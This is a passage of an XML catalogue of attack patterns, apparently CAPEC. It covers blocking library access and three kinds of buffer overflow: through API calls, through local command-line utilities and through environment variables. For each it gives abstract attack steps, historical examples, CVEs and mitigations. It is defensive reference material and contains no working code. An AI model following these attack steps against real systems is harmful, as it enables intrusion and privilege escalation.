				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Description, Attack Prerequisites and Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Amit Sethi</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-29</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="96" Name="Block Access to Libraries" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An application typically makes calls to functions that are a part of libraries external to the application.  These libraries may be part of the operating system or they may be third party libraries.  It is possible that the application does not handle situations properly where access to these libraries has been blocked.  Depending on the error handling within the application, blocked access to libraries may leave the system in an insecure state that could be leveraged by an attacker.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>Determine what external libraries the application accesses.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Block access to the external libraries accessed by the application.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Monitor the behavior of the system to see if it goes into an insecure/inconsistent state.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>If the system does go into an insecure/inconsistent state, leverage that to obtain information about the system functionality or data, elevate access control, etc.  The rest of this attack will depend on the context and the desired goal.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>An application requires access to external libraries.</Attack_Prerequisite>
			<Attack_Prerequisite>   An attacker has the priviliges to block application access to external libraries.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Medium</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Medium</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>A web-based system uses a third party cryptographic random number generation library that derives entropy from machine's hardware.  This library is used in generation of user session ids used by the applicatoin.  If the library is inaccessible, the application instead uses a software based weak pseudo random number generation library.  An attacker of the system blocks access of the application to the third party cryptographic random number generation library (by renaming it).  The application in turn uses the weak pseudo random number generation library to generate session ids that are predictable.  An attacker then leverages this weakness to guess a session id of  another user to perform a horizontal elevation of privilege escalation and gain access to another user's account.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low</Attacker_Skill_or_Knowledge_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Ensure that application handles situations where access to APIs in external libraries is not available securely. If the application cannot continue its execution safely it should fail in a consistent and secure fashion.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>589</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>227</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Security_Principles>
			<Related_Security_Principle>Failing Securely</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Low</Confidentiality_Impact>
			<Integrity_Impact>Low</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<Source>
			<Submission>
				<Submitter>Sean Barnum</Submitter>
				<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
				<Submission_Date>2007-03-25</Submission_Date>
				<Submission_Comment>Identified priority for pattern creation</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Evgeny Lebanidze</Modifier>
				<Modifier_Organization>Cigital, Inc.,</Modifier_Organization>
				<Modification_Date>2007-03-21</Modification_Date>
				<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-16</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="8" Name="Buffer Overflow in an API Call" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This attack targets libraries or shared code modules which are vulnerable to buffer overflow attacks. An attacker who has access to an API may try to embed malicious code in the API function call and exploit a buffer overflow vulnerability in the function's implementation. All clients that make use of the code library thus become vulnerable by association. This has a very broad effect on security across a system, usually affecting more than one software process.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>An attacker can call an API exposed by the target host.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>On the probing stage, the attacker injects malicious code using the API call and observes the results. The attacker's goal is to uncover a buffer overflow vulnerability.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker finds a buffer overflow vulnerability, crafts malicious code and injects it through an API call. The attacker can at worst execute remote code on the target host.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The target host exposes an API to the user.</Attack_Prerequisite>
			<Attack_Prerequisite>One or more API functions exposed by the target host has a buffer overflow vulnerability.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Attack Example: Libc in FreeBSD

				A buffer overflow in the FreeBSD utility setlocale (found in the libc module) puts many programs at risk all at once.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Xtlib

				A buffer overflow in the Xt library of the X windowing system allows local users to execute commands with root privileges.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector.  The result can be a DoS.
		High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.</Attacker_Skill_or_Knowledge_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use a language or compiler that performs automatic bounds checking.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use secure functions not vulnerable to buffer overflow.</Solution_or_Mitigation>
			<Solution_or_Mitigation>If you have to use dangerous functions, make sure that you do boundary checking.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use OS-level preventative functionality. Not a complete solution.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Injection_Vector>The user supplied data.</Injection_Vector>
		<Payload>The buffer overrun by the attacker.</Payload>
		<Activation_Zone>When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code.</Activation_Zone>
		<Payload_Activation_Impact>The most common is remote code execution.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>120</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>119</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>118</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>680</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>733</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>100</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Relevant_Security_Requirements>
			<Relevant_Security_Requirement>Bound checking should be performed when copying data to a buffer.</Relevant_Security_Requirement>
		</Relevant_Security_Requirements>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to trust</Related_Security_Principle>
			<Related_Security_Principle>Defense in Depth</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Buffer Errors</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eric Dalci</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-13</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Description</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="9" Name="Buffer Overflow in Local Command-Line Utilities" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This attack targets command-line utilities available in a number of shells. An attacker can leverage a vulnerability found in a command-line utility to escalate privilege to root.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>Attacker identifies command utilities exposed by the target host.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>On the probing stage, the attacker interacts with the command utility and observes the results of its input. The attacker's goal is to uncover a buffer oveflow in the command utility. For instance the attacker may find that input data are not properly validated.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker finds a buffer overflow vulnerability in the command utility and tries to exploit it. He crafts malicious code and injects it using the command utility. The attacker can at worst execute remote code on the target host.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The target host exposes a command-line utility to the user.</Attack_Prerequisite>
			<Attack_Prerequisite>The command-line utility exposed by the target host has a buffer overflow vulnerability that can be exploited.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Attack Example: HPUX passwd

				A buffer overflow in the HPUX passwd command allows local users to gain root privileges via a command-line option.
				
				Attack Example: Solaris getopt
				
				A buffer overflow in Solaris's getopt command (found in libc) allows local users to gain root privileges via a long argv[0].</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector.  The result can be a DoS.
		High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>The attacker can probe for services available on the target host. Many services may expose a command utility. For instance Telnet is a service which can be invoked through a command shell.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as buffer overflow.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use a language or compiler that performs automatic bounds checking.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use an abstraction library to abstract away risky APIs. Not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Operational: Use OS-level preventative functionality. Not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Apply the latest patches to your user exposed services. This may not be a complete solution, specially against zero day attack.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Do not unnecessarily expose services.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Injection_Vector>The user supplied data.</Injection_Vector>
		<Payload>The buffer overrun by the attacker.</Payload>
		<Activation_Zone>When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code.</Activation_Zone>
		<Payload_Activation_Impact>The most common is remote code execution.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>120</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>118</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>119</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>680</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>733</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>100</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>10</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to trust</Related_Security_Principle>
			<Related_Security_Principle>Defense in Depth</Related_Security_Principle>
			<Related_Security_Principle>Least Privilege</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Bound checking should be performed when copying data to a buffer.</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Buffer Errors</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eric Dalci</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-13</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Attack Execution Flow, Probing Techniques and Method of Attack</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="10" Name="Buffer Overflow via Environment Variables" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The attacker tries to find an environment variable which can be overwritten for instance by gathering information about the target host (error pages, software's version number, etc.).</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker manipulates the environment variable to contain excessive-length content to cause a buffer overflow.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker potentially leverages the buffer overflow to inject maliciously crafted code in an attempt to execute privileged command on the target environment.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The application uses environment variables.</Attack_Prerequisite>
			<Attack_Prerequisite>An environment variable exposed to the user is vulnerable to a buffer overflow.</Attack_Prerequisite>
			<Attack_Prerequisite>The vulnerable environment variable uses untrusted data.</Attack_Prerequisite>
			<Attack_Prerequisite>Tainted data used in the environment variables is not properly validated. For instance boundary checking is not done before copying the input data to a buffer.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Attack Example: Buffer Overflow in $HOME

				A buffer overflow in sccw allows local users to gain root access via the $HOME environmental variable.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-1999-0906</Example-Instance_Related_Vulnerability>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Attack Example: Buffer Overflow in TERM

				A buffer overflow in the rlogin program involves its consumption of the TERM environmental variable.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-1999-0046</Example-Instance_Related_Vulnerability>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector.  The result can be a DoS.
		High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>While interacting with a system an attacker would typically investigate for environment variables that can be overwritten. The more a user knows about a system the more likely she will find a vulnerable environment variable.</Probing_Technique>
			<Probing_Technique>On a web environment, the attacker can read the client side code and search for environment variables that can be overwritten.</Probing_Technique>
			<Probing_Technique>There are tools such as Sharefuzz (http://sharefuzz.sourceforge.net/) which is an environment variable fuzzer for Unix that support loading a shared library. Attackers can use such tools to uncover a buffer overflow in an environment variable.</Probing_Technique>
		</Probing_Techniques>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>If the application does bound checking, it should fail when the data source is larger than the size of the destination buffer. If the application's code is well written, that failure should triger an alert.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Do not expose environment variable to the user.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Do not use untrusted data in your environment variables.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use a language or compiler that performs automatic bounds checking</Solution_or_Mitigation>
			<Solution_or_Mitigation>There are tools such as Sharefuzz (http://sharefuzz.sourceforge.net/) which is an environment variable fuzzer for Unixes that support loading a shared library. You can use Sharefuzz to determine if you are exposing an environment variable vulnerable to buffer overflow.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Injection_Vector>The user modifiable environment variable.</Injection_Vector>
		<Payload>User supplied data potentially containing malicious code.</Payload>
		<Activation_Zone>When the subroutine which uses the environment variable returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code.</Activation_Zone>
		<Payload_Activation_Impact>The most common is remote code execution.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>120</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>302</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>118</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>119</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>99</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>680</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>733</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>100</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to trust</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Bound checking should be performed when copying data to a buffer.</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Buffer Errors</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eric Dalci</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-13</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="12" Name="Choosing a Message/Channel Identifier on a Public/Multicast Channel" Pattern_Abstraction="Standard">
		<Description>
